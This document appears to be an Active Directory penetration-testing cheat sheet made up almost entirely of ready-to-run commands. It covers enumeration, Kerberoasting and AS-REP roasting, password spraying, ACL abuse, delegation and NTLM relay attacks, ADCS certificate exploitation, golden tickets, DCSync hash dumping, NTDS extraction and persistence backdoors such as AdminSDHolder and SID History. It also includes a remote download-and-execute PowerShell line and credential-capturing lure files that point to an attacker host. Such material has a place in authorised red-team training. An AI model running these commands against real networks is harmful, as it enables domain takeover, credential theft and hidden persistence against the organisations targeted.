# Check if anon bind allowed — get naming context ldapsearch -x -H ldap://DC_IP -b "" -s base namingContexts # Enumerate all users anonymously ldapsearch -x -H ldap://DC_IP \ -b "DC=domain,DC=local" \ "(objectClass=user)" sAMAccountName userPrincipalName memberOf # Enumerate groups ldapsearch -x -H ldap://DC_IP \ -b "DC=domain,DC=local" \ "(objectClass=group)" cn member # Enumerate all objects (broad sweep) ldapsearch -x -H ldap://DC_IP \ -b "DC=domain,DC=local" \ "(objectClass=*)" dn | grep "^dn:"
# No credentials needed for anon windapsearch -d domain.local --dc DC_IP -m users windapsearch -d domain.local --dc DC_IP -m groups windapsearch -d domain.local --dc DC_IP -m computers
# List shares — null session smbclient -L //DC_IP -N nxc smb DC_IP --shares -u '' -p '' # Enum4linux-ng — comprehensive (users, shares, groups, policies) enum4linux-ng -A DC_IP # RPC null session — user enum rpcclient -U "" -N DC_IP rpcclient $> enumdomusers rpcclient $> enumdomgroups rpcclient $> querydominfo rpcclient $> getdompwinfo # password policy — lockout threshold! rpcclient $> lookupnames administrator
# Get lockout policy before ANY credential attacks nxc smb DC_IP -u '' -p '' --pass-pol enum4linux-ng -P DC_IP crackmapexec smb DC_IP --pass-pol
# Enumerate valid usernames — no lockout risk kerbrute userenum \ --dc DC_IP -d domain.local \ /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt # With custom list (common AD patterns) kerbrute userenum \ --dc DC_IP -d domain.local \ users.txt -o valid_users.txt # Generate username list from names found in LDAP/SMB # Tools: namemash.py, username-anarchy python3 namemash.py names.txt > users.txt username-anarchy -i full_names.txt > users.txt
# From Linux — impacket (no creds, just userlist) GetNPUsers.py domain.local/ \ -dc-ip DC_IP \ -usersfile valid_users.txt \ -format hashcat \ -outputfile asrep_hashes.txt # With valid creds — enumerate ALL AS-REP-able accounts GetNPUsers.py domain.local/user:'pass' \ -dc-ip DC_IP -request -format hashcat # Crack with hashcat — mode 18200 hashcat -m 18200 asrep_hashes.txt \ /opt/wordlists/rockyou2021.txt \ -r /opt/rules/rockyou-30000.rule # With netexec nxc ldap DC_IP -u user -p 'pass' --asreproast asrep.txt
--username flag required if file format is user:hash.# Kerbrute spray — Kerberos protocol (stealth) kerbrute passwordspray \ --dc DC_IP -d domain.local \ valid_users.txt 'Password123!' # NetExec spray — SMB nxc smb DC_IP -u valid_users.txt -p 'Password123!' \ --continue-on-success --no-bruteforce # NetExec spray — LDAP (quieter than SMB) nxc ldap DC_IP -u valid_users.txt -p passwords.txt \ --continue-on-success --no-bruteforce # Smart spray candidates (seasonal + company name) Season+Year: Spring2024!, Summer2024!, Winter2025! Company+Year: CompanyName2024! Welcome pattern: Welcome1!, Welcome123 Common: P@ssw0rd, Passw0rd!, Password1
# impacket — dump all kerberoastable accounts GetUserSPNs.py domain.local/user:'pass' \ -dc-ip DC_IP -request \ -outputfile kerb_hashes.txt # With hash instead of password GetUserSPNs.py domain.local/user \ -hashes :NTHASH \ -dc-ip DC_IP -request # NetExec kerberoast nxc ldap DC_IP -u user -p 'pass' --kerberoasting kerb.txt # Crack — hashcat mode 13100 hashcat -m 13100 kerb_hashes.txt \ /opt/wordlists/rockyou2021.txt \ -r /opt/rules/rockyou-30000.rule # Rubeus from Windows (targeted — RC4 downgrade for easier crack) Rubeus.exe kerberoast /tgtdeleg /rc4opsec /outfile:kerb.txt
/tgtdeleg in Rubeus. High-value targets: service accounts named svc_*, sql_*, web_*, iis_*, backup_*.# bloodhound-python — all collection methods bloodhound-python -u user -p 'pass' \ -d domain.local -dc DC_FQDN \ -ns DC_IP -c All --zip # With hash (PTH) bloodhound-python -u user \ --hashes :NTHASH \ -d domain.local -dc DC_FQDN \ -ns DC_IP -c All # SharpHound (from Windows target) .\SharpHound.exe -c All --zipfilename bh.zip .\SharpHound.exe -c All,GPOLocalGroup --loop
# Find all paths from owned user to DA MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})) RETURN p # All kerberoastable accounts MATCH (u:User {hasspn:true}) RETURN u.name, u.description # AS-REP-roastable accounts MATCH (u:User {dontreqpreauth:true}) RETURN u.name # Users with unconstrained delegation MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name # Find computers where owned users have admin rights MATCH p=(u:User {owned:true})-[:AdminTo]->(c:Computer) RETURN p # Find all ADCS ESC paths MATCH p=()-[:Enroll|GenericAll|GenericWrite]->(ct:CertTemplate) RETURN p
# Import (bypass AMSI first if needed) IEX (New-Object Net.WebClient).DownloadString('http://KALI/PowerView.ps1') # Domain info Get-Domain Get-DomainController Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess # Users Get-DomainUser | Select-Object samaccountname,description,memberof,pwdlastset Get-DomainUser -AdminCount # AdminSDHolder protected users Get-DomainUser -SPN # Kerberoastable Get-DomainUser -PreauthNotRequired # AS-REP roastable # Groups Get-DomainGroup | Where-Object {$_.GroupScope -eq "Universal"} Get-DomainGroupMember "Domain Admins" -Recurse # Computers Get-DomainComputer | Select-Object dnshostname,operatingsystem Get-DomainComputer -Unconstrained # Unconstrained delegation hosts Get-DomainComputer -TrustedToAuth # Constrained delegation hosts
# Find ACLs on a specific user Get-DomainObjectAcl -Identity targetuser -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteOwner|WriteDACL|AllExtendedRights" } # Find ALL interesting ACEs (slow but thorough) Find-InterestingDomainAcl -ResolveGUIDs | Where-Object { $_.IdentityReferenceName -match "owneduser" } # ACLs on domain object (DCSync rights) Get-DomainObjectAcl -Identity "DC=domain,DC=local" -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match "DS-Replication" }
# Domain info nxc ldap DC_IP -u user -p 'pass' --get-dn nxc ldap DC_IP -u user -p 'pass' --users nxc ldap DC_IP -u user -p 'pass' --groups nxc ldap DC_IP -u user -p 'pass' --computers # Local admin hunt (find where creds work as admin) nxc smb SUBNET/24 -u user -p 'pass' --local-auth nxc smb SUBNET/24 -u user -H NTHASH --local-auth # Logged-on users (find DA sessions) nxc smb SUBNET/24 -u user -p 'pass' --loggedon-users # Share enumeration nxc smb SUBNET/24 -u user -p 'pass' --shares # Module: lsassy (in-memory credential dump — no binary drop) nxc smb TARGET -u admin -H NTHASH -M lsassy # Module: gpp_password (Group Policy creds) nxc smb DC_IP -u user -p 'pass' -M gpp_password
# All users with description field (often contains passwords) ldapsearch -x -H ldap://DC_IP \ -D "user@domain.local" -w 'pass' \ -b "DC=domain,DC=local" \ "(objectClass=user)" sAMAccountName description | grep -A1 description # Accounts with password not required (PASSWD_NOTREQD flag) ldapsearch -x -H ldap://DC_IP \ -D "user@domain.local" -w 'pass' \ -b "DC=domain,DC=local" \ "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" sAMAccountName # Machine account quota (default 10 — RBCD prerequisite) ldapsearch -x -H ldap://DC_IP \ -D "user@domain.local" -w 'pass' \ -b "DC=domain,DC=local" \ "(objectClass=domain)" ms-DS-MachineAccountQuota # AD CS — find Certificate Authorities ldapsearch -x -H ldap://DC_IP \ -D "user@domain.local" -w 'pass' \ -b "CN=Configuration,DC=domain,DC=local" \ "(objectClass=pKIEnrollmentService)" cn dNSHostName
| BloodHound Edge | Target Object | Attack Technique | Tools | Result |
|---|---|---|---|---|
| GenericAll | User | Shadow Credentials, ForceChangePassword, Add to group | certipy shadow, pywhisker, rpcclient | Compromise user |
| GenericAll | Group | Add self/arbitrary user to group | PowerView Add-DomainGroupMember, net group /domain | Group membership |
| GenericAll | Computer | RBCD — add controlled machine account to msDS-AllowedToActOnBehalfOf | impacket rbcd.py, PowerView | Admin on host |
| GenericWrite | User | Shadow Credentials, SPN set → Kerberoast, scriptPath → logon exec | certipy shadow, pywhisker, Set-DomainObject | Compromise user |
| GenericWrite | Computer | RBCD via msDS-AllowedToActOnBehalfOf write | rbcd.py, PowerView | Admin on host |
| WriteDACL | User/Group/Domain | Grant yourself GenericAll → chain to above | Add-DomainObjectAcl | Escalate to GenericAll |
| WriteOwner | Any | Take ownership → WriteDACL → GenericAll | Set-DomainObjectOwner, Add-DomainObjectAcl | Two-step escalation |
| AllExtendedRights | User | ForceChangePassword without knowing current password | Set-DomainUserPassword, rpcclient setuserinfo2 | Reset victim password |
| AddSelf / AddMember | Group | Add yourself to group | Add-DomainGroupMember, net group /domain | Group membership |
| DS-Replication | Domain | DCSync — dump all hashes | secretsdump.py, Mimikatz lsadump::dcsync | All domain creds |
| Owns | Any | Owner can grant WriteDACL → then GenericAll | Set-DomainObjectOwner → Add-DomainObjectAcl | Full object control |
# PowerView — change user password $NewPass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force Set-DomainUserPassword -Identity targetuser -AccountPassword $NewPass # rpcclient — old-school reliable rpcclient -U "domain/attacker%pass" DC_IP rpcclient $> setuserinfo2 targetuser 23 'NewPass123!' # impacket — rpcchangepwd.py rpcchangepwd.py 'domain/attacker:pass@DC_IP' \ -target-user targetuser \ -new-password 'NewPass123!'
# PowerView Add-DomainGroupMember -Identity 'Domain Admins' \ -Members 'attacker' # net group (Windows — requires /domain flag) net group "Domain Admins" attacker /add /domain # Verify Get-DomainGroupMember "Domain Admins"
net group without /domain targets local groups only — always include /domain for AD groups. Group membership changes take effect on next logon — use a new ticket/session after adding yourself.# Step 1 — grant yourself GenericAll via WriteDACL Add-DomainObjectAcl \ -TargetIdentity targetuser \ -PrincipalIdentity attacker \ -Rights All # Verify the new ACE was written Get-DomainObjectAcl -Identity targetuser -ResolveGUIDs | Where-Object { $_.SecurityIdentifier -match "attacker_SID" } # Step 2 — now abuse GenericAll (shadow creds, password reset, etc.) certipy shadow auto -u attacker@domain -p 'pass' \ -account targetuser -dc-ip DC_IP
# Take ownership Set-DomainObjectOwner -Identity targetuser \ -OwnerIdentity attacker # Now you own it — grant WriteDACL Add-DomainObjectAcl -TargetIdentity targetuser \ -PrincipalIdentity attacker \ -Rights WriteDacl # Then grant GenericAll Add-DomainObjectAcl -TargetIdentity targetuser \ -PrincipalIdentity attacker \ -Rights All
Remove-DomainObjectAcl -TargetIdentity TARGET -PrincipalIdentity attacker -Rights All# PowerView Get-DomainComputer -Unconstrained | Select-Object dnshostname # BloodHound query MATCH (c:Computer {unconstraineddelegation:true, name:<>"DC01.DOMAIN.LOCAL"}) RETURN c.name
# On unconstrained host — monitor for TGTs Rubeus.exe monitor /interval:5 /nowrap # Coerce DC authentication to unconstrained host # From Kali — PrinterBug python3 printerbug.py \ 'domain/user:pass@DC_IP' \ UNCONSTRAINED_HOST_IP # OR Coercer coercer coerce -u user -p 'pass' \ -d domain.local \ --listener UNCONSTRAINED_HOST_IP \ --target DC_IP # DC TGT captured — inject and DCSync Rubeus.exe ptt /ticket:BASE64_TGT secretsdump.py -k -no-pass DC_FQDN
# PowerView
Get-DomainUser -TrustedToAuth |
Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth |
Select-Object dnshostname, msds-allowedtodelegateto
# Rubeus — request TGT for delegating account first Rubeus.exe asktgt /user:svc_account /password:'pass' /nowrap # S4U2Self (get ST for DA to svc_account) # S4U2Proxy (use that ST to impersonate DA to target) Rubeus.exe s4u /ticket:BASE64_TGT \ /impersonateuser:administrator \ /msdsspn:"cifs/target.domain.local" \ /ptt # Access target as DA ls \\target.domain.local\C$
msDS-AllowedToDelegateTo and TrustedToAuthForDelegation UAC flag.# Step 1 — create controlled machine account addcomputer.py -computer-name 'RBCD$' \ -computer-pass 'RBCDPass123!' \ -dc-ip DC_IP \ 'domain.local/user:pass' # Step 2 — write msDS-AllowedToActOnBehalfOf on target rbcd.py -dc-ip DC_IP \ -action write \ -delegate-to TARGET$ \ -delegate-from RBCD$ \ 'domain.local/user:pass' # Verify rbcd.py -dc-ip DC_IP -action read \ -delegate-to TARGET$ \ 'domain.local/user:pass' # Step 3 — S4U2Self + S4U2Proxy to get admin ST getST.py -spn 'cifs/TARGET' \ -impersonate administrator \ -dc-ip DC_IP \ 'domain.local/RBCD$:RBCDPass123!' # Use the ticket export KRB5CCNAME=administrator@cifs_TARGET.ccache secretsdump.py -k -no-pass TARGET.domain.local
ldapsearch ... ms-DS-MachineAccountQuota. If MAQ=0, you need an existing machine account with known creds.# Start Responder — capture on all interfaces responder -I tun0 -wv # IMPORTANT: Disable SMB+HTTP when relaying (or captures only) # Edit /etc/responder/Responder.conf: SMB = Off, HTTP = Off responder -I tun0 -wv # With SMB off for relay mode # Captured hashes saved to: /usr/share/responder/logs/ # Crack NetNTLMv2 — hashcat mode 5600 hashcat -m 5600 ntlmv2.txt \ /opt/wordlists/rockyou2021.txt \ -r /opt/rules/rockyou-30000.rule
# If you can write to a network share — plant a UNC pointer # Create a malicious .lnk or @threat.url pointing to Kali share # Simple: plant desktop.ini or icon file in writable share cat > @pwn.url << 'EOF' [InternetShortcut] URL=file://KALI_IP/pwn EOF # Or use ntlm_theft to generate lure files python3 ntlm_theft.py -g all -s KALI_IP -f pwn
# Find hosts with SMB signing disabled nxc smb SUBNET/24 --gen-relay-list relay_targets.txt # Basic relay to SAM dump ntlmrelayx.py -tf relay_targets.txt -smb2support # Interactive shell (drop into SMBClient shell) ntlmrelayx.py -tf relay_targets.txt -smb2support -i # LDAP relay — create computer account for RBCD ntlmrelayx.py -t ldap://DC_IP --delegate-access \ --escalate-user attacker_machine$ # Relay to ADCS HTTP endpoint (ESC8) ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp \ --adcs --template DomainController
# Coercer — tries ALL coercion methods automatically coercer coerce \ -u user -p 'pass' -d domain.local \ --listener KALI_IP \ --target DC_IP # PetitPotam — EfsRpcOpenFileRaw (works unauth in older envs) python3 PetitPotam.py -u user -p 'pass' \ -d domain.local \ KALI_IP DC_IP # PrinterBug / SpoolSample (MS-RPRN) python3 printerbug.py \ 'domain/user:pass@DC_IP' KALI_IP # Check if Print Spooler running first nxc smb DC_IP -u user -p 'pass' -M spooler
# Check if WebClient (WebDAV) running on target nxc smb TARGET -u user -p 'pass' -M webdav # If WebClient running — coerce via HTTP listener (not SMB) # This bypasses SMB signing restriction entirely # Start ntlmrelayx over HTTP ntlmrelayx.py -t ldap://DC_IP \ --delegate-access --escalate-user RBCD$ # Coerce target to HTTP listener # Port 80 listener on Kali — WebClient sends HTTP auth coercer coerce \ -u user -p 'pass' -d domain.local \ --listener KALI_IP@80/test \ --target TARGET_IP # Start WebClient on target if needed (no admin rights) Start-Service WebClient
# Certipy find — all vulns, actionable only certipy-ad find -u user@domain.local \ -p 'pass' -dc-ip DC_IP -vulnerable # With hash certipy-ad find -u user@domain.local \ -hashes :NTHASH -dc-ip DC_IP -vulnerable # ESCalate.py — alternative with more detail on ESC16 python3 escalate.py -dc DC_IP -d domain.local \ -u user -p 'pass' --actionable
| ESC | Condition | Attack | Certipy Command |
|---|---|---|---|
| ESC1 | Client auth template + enrollees can supply SAN (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) | Request cert with SAN=administrator — get DA hash | certipy req ... -template TEMPLATE -upn administrator@domain |
| ESC2 | Any Purpose EKU or no EKU — can be used for any auth | Use cert for Schannel auth or PKINIT | Enroll in template, use for auth |
| ESC3 | Certificate Request Agent EKU — enroll on behalf of others | Enroll as agent → request cert on behalf of DA | certipy req ... -on-behalf-of domain\\administrator |
| ESC4 | Write permissions on certificate template | Modify template to add ESC1 conditions → exploit | certipy template -template TEMPLATE -save-old; certipy req ... |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA — all templates vulnerable to SAN injection | Same as ESC1 but applies to any enrollable template | certipy req ... -template User -upn administrator@domain |
| ESC7 | ManageCA or ManageCertificates rights on CA | Enable EDITF_ATTRIBUTESUBJECTALTNAME2 → ESC6, or approve pending certs | certipy ca -ca CA_NAME -add-officer attacker |
| ESC8 | HTTP enrollment endpoint (Web Enrollment) enabled on CA | Relay DC auth to CA HTTP → get DC cert → DCSync | ntlmrelayx ... -t http://CA/certsrv/certfnsh.asp --adcs --template DC |
| ESC16 | szOID_NTDS_CA_SECURITY_EXT disabled (no sec extension) — weak mapping exploitable | UPN swap (GenericWrite on account → set UPN to administrator → enroll → restore → auth) | See Fluffy chain in Pentest Field Guide §06 |
# Step 1 — find vulnerable template + CA name from certipy find # Look for: [!] Vulnerabilities: ESC1 # Note: Template Name, CA Name # Step 2 — request cert with administrator UPN in SAN certipy-ad req \ -u user@domain.local -p 'pass' \ -dc-ip DC_IP \ -ca 'CA-NAME' \ -template 'VULNERABLE_TEMPLATE' \ -upn administrator@domain.local # Outputs: administrator.pfx # Step 3 — authenticate with cert → get NT hash certipy-ad auth \ -pfx administrator.pfx \ -dc-ip DC_IP # Outputs: administrator NT hash # Step 4 — PTH evil-winrm -i DC_IP \ -u administrator -H NTHASH secretsdump.py -hashes :NTHASH \ administrator@DC_IP
# Step 1 — Check if web enrollment enabled certipy-ad find ... -vulnerable # OR manual: curl http://CA_HOST/certsrv/ (200 = enabled) # Step 2 — Start ntlmrelayx targeting CA web enrollment # Disable SMB/HTTP in Responder.conf first ntlmrelayx.py \ -t http://CA_HOST/certsrv/certfnsh.asp \ --adcs \ --template DomainController \ -smb2support # Step 3 — Start Responder (SMB=Off, HTTP=Off) responder -I tun0 -wv # Step 4 — Coerce DC authentication python3 PetitPotam.py KALI_IP DC_IP # Step 5 — Relay delivers DC.pfx # Request TGT with PKINIT + extract NT hash certipy-ad auth \ -pfx dc.pfx -dc-ip DC_IP # Step 6 — DCSync with DC hash secretsdump.py -hashes :DC_NTHASH \ 'domain/DC01$@DC_IP'
# Method 1 — certipy shadow (auto mode — does everything) certipy-ad shadow auto \ -u attacker@domain.local -p 'pass' \ -dc-ip DC_IP \ -account targetuser # Outputs: targetuser.ccache + NT hash automatically # Method 2 — pywhisker (more granular control) # Add KeyCredential python3 pywhisker.py \ -d domain.local -u attacker -p 'pass' \ --dc-ip DC_IP \ --target targetuser \ --action add # Outputs: DEVICE_ID.pfx + DEVICE_ID password # Request TGT with the cert (PKINITtools) python3 gettgtpkinit.py \ -cert-pfx DEVICE_ID.pfx \ -pfx-pass 'CERT_PASS' \ domain.local/targetuser \ targetuser.ccache # Extract NT hash from TGT export KRB5CCNAME=targetuser.ccache python3 getnthash.py \ domain.local/targetuser -key AS_REP_KEY
msDS-KeyCredentialLink attribute — no password change, no lockout, minimal noise. The target account continues to function normally. Cleanup: remove the KeyCredential after use.# List existing KeyCredentials on target python3 pywhisker.py \ -d domain.local -u attacker -p 'pass' \ --dc-ip DC_IP \ --target targetuser \ --action list # Remove specific credential by DeviceID python3 pywhisker.py \ -d domain.local -u attacker -p 'pass' \ --dc-ip DC_IP \ --target targetuser \ --action remove \ --device-id DEVICE_ID # Certipy shadow cleanup certipy-ad shadow clear \ -u attacker@domain.local -p 'pass' \ -dc-ip DC_IP \ -account targetuser
# If no CA/PKINIT — set SPN on target → kerberoast them Set-DomainObject -Identity targetuser \ -Set @{serviceprincipalname='fake/spn'} # Now roast their account GetUserSPNs.py domain/attacker:'pass' \ -dc-ip DC_IP -request \ -outputfile kerb.txt # Cleanup SPN after cracking Set-DomainObject -Identity targetuser \ -Clear serviceprincipalname
# Linux — set KRB5CCNAME env var export KRB5CCNAME=/path/to/ticket.ccache klist # verify ticket loaded secretsdump.py -k -no-pass DC_FQDN smbclient.py -k -no-pass TARGET # Windows — Rubeus inject .kirbi Rubeus.exe ptt /ticket:BASE64_TICKET Rubeus.exe ptt /ticket:ticket.kirbi klist # verify # Convert ccache ↔ kirbi impacket-ticketConverter ticket.ccache ticket.kirbi impacket-ticketConverter ticket.kirbi ticket.ccache
# impacket getTGT — hash → TGT getTGT.py domain.local/user \ -hashes :NTHASH \ -dc-ip DC_IP # Outputs: user.ccache export KRB5CCNAME=user.ccache wmiexec.py -k -no-pass TARGET # Rubeus (Windows) — hash → TGT in memory Rubeus.exe asktgt \ /user:user \ /rc4:NTHASH \ /domain:domain.local \ /dc:DC_FQDN /ptt
/aes256 flag in Rubeus instead of rc4.# Get KRBTGT hash first (need DA / DCSync) secretsdump.py -hashes :DA_NTHASH \ administrator@DC_IP | grep krbtgt # Create golden ticket (Linux) ticketer.py \ -nthash KRBTGT_HASH \ -domain-sid S-1-5-21-xxx \ -domain domain.local \ administrator export KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass DC_FQDN # Rubeus (Windows) Rubeus.exe golden \ /rc4:KRBTGT_HASH \ /domain:domain.local \ /sid:DOMAIN_SID \ /user:administrator /ptt
# Requires: target machine account NTLM hash ticketer.py \ -nthash MACHINE_NTHASH \ -domain-sid DOMAIN_SID \ -domain domain.local \ -spn cifs/TARGET.domain.local \ administrator # Access only that service — no DA TGT issued export KRB5CCNAME=administrator.ccache smbclient.py -k -no-pass TARGET.domain.local
# Find non-default accounts with DCSync rights (BloodHound query)
MATCH p=(u)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain)
WHERE NOT u.name STARTS WITH "DOMAIN ADMINS"
RETURN p
# Full domain hash dump secretsdump.py -hashes :NTHASH \ administrator@DC_IP # Just NTDS / no LSA secretsdump.py -hashes :NTHASH \ administrator@DC_IP -just-dc-ntlm # Kerberos auth export KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass DC_FQDN # Specific user only secretsdump.py -hashes :NTHASH \ administrator@DC_IP -just-dc-user krbtgt # From local NTDS.dit copy (offline) secretsdump.py -ntds ntds.dit \ -system SYSTEM -hashes lmhash:nthash LOCAL
# PowerView — grant replication rights to attacker Add-DomainObjectAcl \ -TargetIdentity "DC=domain,DC=local" \ -PrincipalIdentity attacker \ -Rights DCSync
# Method 1 — vssadmin + robocopy (DA required) vssadmin create shadow /for=C: # Note the shadow copy path: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit" C:\Temp\NTDS.dit copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM" C:\Temp\SYSTEM # Method 2 — ntdsutil snapshot ntdsutil "activate instance ntds" "ifm" \ "create full C:\Temp\IFM" quit quit # Method 3 — nxc module nxc smb DC_IP -u administrator -H NTHASH \ --ntds vss # Offline crack with secretsdump secretsdump.py -ntds C:\Temp\NTDS.dit \ -system C:\Temp\SYSTEM LOCAL \ -outputfile domain_hashes
sort -t: -k4 domain_hashes.ntds | uniq -D -f3# Add GenericAll on AdminSDHolder # → propagates to DA, EA, Schema Admins etc. Add-DomainObjectAcl \ -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" \ -PrincipalIdentity backdoor_user \ -Rights All # Force immediate propagation (normally 60 min) Invoke-ADSDPropagation
# Get DSRM hash (run on DC as SYSTEM/DA) # Mimikatz lsadump::lsa /patch /name:dsrm # Enable network logon for DSRM account # Registry key (requires DA) Set-ItemProperty -Path \ "HKLM:\System\CurrentControlSet\Control\Lsa" \ -Name DsrmAdminLogonBehavior -Value 2 # PTH with DSRM hash — local-auth flag secretsdump.py -hashes :DSRM_HASH \ -local-auth administrator@DC_IP
# Requires NTDS manipulation — Mimikatz # Get Domain SID Get-DomainSID # Mimikatz — inject SID history privilege::debug sid::patch sid::add /sam:backdoor_user /new:DOMAIN_SID-500 # Verify Get-DomainUser backdoor_user | Select-Object sidhistory # User now has invisible DA privileges # Appears as low-priv user — SIDHistory grants DA access
# PowerView — enumerate all trusts Get-DomainTrust Get-DomainTrust -Domain child.domain.local Get-ForestTrust # impacket GetADUsers.py -all -dc-ip DC_IP \ 'domain.local/user:pass' # BloodHound Get-DomainTrustMapping # shows all trust paths # Check SID Filtering status # Quarantine attribute = SID filtering enabled (blocks SID history) (Get-DomainTrust).TrustAttributes
# Prerequisite: DA in child domain, know child KRBTGT hash # Get child domain KRBTGT hash (DCSync from child DC) secretsdump.py -hashes :CHILD_DA_HASH \ administrator@CHILD_DC_IP -just-dc-user krbtgt # Get Enterprise Admin SID of parent domain Get-DomainGroup -Domain parent.local \ -Identity "Enterprise Admins" | Select-Object objectsid # Forge inter-realm TGT with Enterprise Admin SID in ExtraSids ticketer.py \ -nthash CHILD_KRBTGT_HASH \ -domain-sid CHILD_DOMAIN_SID \ -domain child.domain.local \ -extra-sid PARENT_EA_SID \ administrator export KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass PARENT_DC_FQDN
TrustAttributes for TREAT_AS_EXTERNAL flag before attempting.| # | Situation | First Move | Escalation Path | Key Tool |
|---|---|---|---|---|
| 1 | No creds, domain joined host visible | LDAP anon + SMB null session + RPC → user list | Kerbrute userenum → AS-REP roast → spray | enum4linux-ng, kerbrute |
| 2 | Have domain creds (low-priv user) | BloodHound ALL collection → find shortest path to DA | Kerberoast → crack → check ACL edges | bloodhound-python, GetUserSPNs.py |
| 3 | GenericWrite on user in BloodHound | Shadow Credentials (certipy shadow auto) | PKINIT → NT hash → PTH → further ACLs | certipy-ad shadow, pywhisker |
| 4 | GenericAll on group → privileged group | Add-DomainGroupMember (add self to group) | New session → net use → group rights apply | PowerView, net group /domain |
| 5 | GenericWrite on computer | RBCD — create machine acct, write msDS-AllowedToActOnBehalfOf | S4U2Self+Proxy → admin ST → secretsdump | addcomputer.py, rbcd.py, getST.py |
| 6 | ADCS deployed — certipy finds ESC1/ESC6 | Request cert with SAN=administrator | Certipy auth → NT hash → PTH to DC | certipy-ad req, certipy-ad auth |
| 7 | SMB signing off + coercion possible | Responder (SMB=Off) + ntlmrelayx → relay targets | SAM dump or LDAP → machine account → RBCD | ntlmrelayx.py, responder, coercer |
| 8 | Unconstrained delegation host found | Rubeus monitor + coerce DC auth (PrinterBug/PetitPotam) | Capture DC TGT → PTT → DCSync | Rubeus, printerbug.py, secretsdump.py |
| 9 | Have DA — want persistence | DCSync KRBTGT → Golden Ticket | AdminSDHolder backdoor, SID History, DSRM | secretsdump.py, ticketer.py |
| 10 | Child domain DA → want forest root | DCSync child KRBTGT → ExtraSids with EA SID | Inter-realm ticket → parent DC → full forest | ticketer.py with -extra-sid |